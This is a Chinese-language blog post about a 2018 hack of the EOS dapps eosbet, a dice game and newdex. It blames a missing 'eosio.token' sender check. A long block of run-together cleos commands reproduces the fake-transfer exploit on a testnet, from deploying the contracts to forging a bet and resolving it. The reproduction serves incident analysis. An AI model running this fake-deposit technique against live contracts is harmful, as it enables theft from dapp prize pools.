三大EOS DAPP被黑客攻破薅走數萬EOS
昨天,日收萬金的EOS大賭場:eosbet 被黑客攻擊了——黑客aabbccddeefg 利用合約漏洞,零成本薅走 bet 獎池約 5萬EOS。

官方緊急發表宣告,並關閉了遊戲:

eosbet剛被攻擊關停,排名其後的 dice遊戲被同一個黑客再次攻破 ,使用同樣的攻擊手段, 轉走大量EOS。。。。去中心化交易所 newdex也被用同樣的手段攻破 。。。。。EOS Dapp前10中有3個被黑客成功攻破。。。。一下子,開發者都砸開了,難道是eos公鏈存在什麼妖蛾子?
不過很快,幣乎的一個技術大牛找到了問題的原因—— 僅僅因為缺少對程式碼呼叫是否來源於“eosio.token” 的判斷 !我勒個去,這些開發者難道是零時工嗎?這樣低階的錯誤都能犯!
有大牛還原了黑客攻擊流程(幣乎作者cj1991)
在測試網,部署被攻擊時的程式碼,實現一遍攻擊方式,看看是否有效。
github程式碼: ofollow,noindex" target="_blank">https://github.com/ganjingcun/bet-death-causes
這些程式碼是9月12號前 用get code 拉下來的。所以,我只是還原了作案現場。事情不是我乾的。是大神v5。
cleos -u http://api1.eosasia.one get code -a betdice.abi -c betdice.wast eosbetdice11cleos -u http://api1.eosasia.one get code -a safetransfer.abi -c safetransfer.wast safetransfer // create accountcleos create account eosio eosbetdice11 EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNicleos create account eosio safetransfer EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNicleos create account eosio eosbetcasino EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi // set codecleos set code eosbetdice11 /Users/joe/Workspace/eos-project/eos-bet-dice/betdice.wastcleos set abi eosbetdice11 /Users/joe/Workspace/eos-project/eos-bet-dice/betdice.abi cleos set code safetransfer /Users/joe/Workspace/eos-project/eos-bet-dice/safetransfer.wastcleos set abi safetransfer /Users/joe/Workspace/eos-project/eos-bet-dice/safetransfer.abi // set permissioncleos set account permission eosbetdice11 active ‘{“threshold”: 1,”keys”: [{“key”: “EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi”,”weight”: 1}],”accounts”:[{“permission”:{“actor”:”eosbetdice11″,”permission”:”eosio.code”},”weight”:1}]}’ owner -p eosbetdice11@ownercleos set account permission safetransfer active ‘{“threshold”: 1,”keys”: [{“key”: “EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi”,”weight”: 1}],”accounts”:[{“permission”:{“actor”:”safetransfer”,”permission”:”eosio.code”},”weight”:1}]}’ owner -p safetransfer@ownercleos set account permission safetransfer active ‘{“threshold”: 1,”keys”: [{“key”: “EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi”,”weight”: 1}],”accounts”:[{“permission”:{“actor”:”eosbetdice11″,”permission”:”eosio.code”},”weight”:1}]}’ owner -p safetransfer@owner cleos set account permission eosbetcasino random ‘{“threshold”: 1,”keys”: [{“key”: “EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi”,”weight”: 1}],”accounts”:[]}’ owner -p eosbetcasino@owner // initcontractcleos push action eosbetdice11 initcontract ‘{“randomness_key”:”EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi”}’ -p eosbetcasino // testcleos push action eosbetdice11 transfer ‘{“from”:”joetothemoon”,”to”:”eosbetdice11″,”quantity”:”10.0000 EOS”,”memo”:”88-okbtozhemoon-“}’ -p joetothemoon // resultcleos get actions joetothemoon cleos get table eosbetdice11 eosbetdice11 activebets // try resolvebet (先用 get table eosbetdice11 eosbetdice11 activebets 獲取 bet_id, 簽名替換為你的私鑰對應生成簽名。cleos push action eosbetdice11 resolvebet ‘{“bet_id”:”13268895739635552667″, “sig”:”SIG_K1_JyLrnpivQrsrmfaFqpk8168zS3sAxVi91KWb3MCkU5uBNrj52h7GPp5HMSxxdA3y9yMPHpQSWw1PNn4kJojMAHK2kK9fRY”}’ -p eosbetcasino@random
步驟稍微講解下,就是在測試網,建立相關賬號,然後部署合約,然後執行攻擊手段,然後開獎,成功證明,確實是 缺少了 判斷 “eosio.token” 引起的。先執行 :
// testcleos push action eosbetdice11 transfer ‘{“from”:”joetothemoon”,”to”:”eosbetdice11″,”quantity”:”10.0000 EOS”,”memo”:”88-okbtozhemoon-“}’ -p joetothemoon
也就是直接呼叫 合約的 tranfer :發現執行成功。獲取等待開獎的下注記錄:
cleos get table eosbetdice11 eosbetdice11 activebets
由於bet 的開獎方式,是先生成下注記錄,然後在用一個號來開獎,所以,我們手動一步步還原的過程中,下注記錄是存在的,接下來,就是呼叫開獎了:獲取bet_id, 然後用 eosbetcasino 開獎
// try resolvebet (先用 get table eosbetdice11 eosbetdice11 activebets 獲取 bet_id, 簽名替換為你的私鑰對應生成簽名。
cleos push action eosbetdice11 resolvebet ‘{“bet_id”:”13268895739635552667″, “sig”:”SIG_K1_JyLrnpivQrsrmfaFqpk8168zS3sAxVi91KWb3MCkU5uBNrj52h7GPp5HMSxxdA3y9yMPHpQSWw1PNn4kJojMAHK2kK9fRY”}’ -p eosbetcasino@random
這裡的開獎方式注意下,需要傳入一個簽名。請自己去生成。從直接呼叫 tansfer ,到生成下注記錄,再到呼叫開獎。結論已經很明顯了。根本不存在什麼毀滅性bug,只是有一個程式員要祭天了而已..
文章來自: CocosBCX投資者社群 ( 原文連結 )
訪問資訊分類,檢視更多有價值的 區塊鏈遊戲 資訊。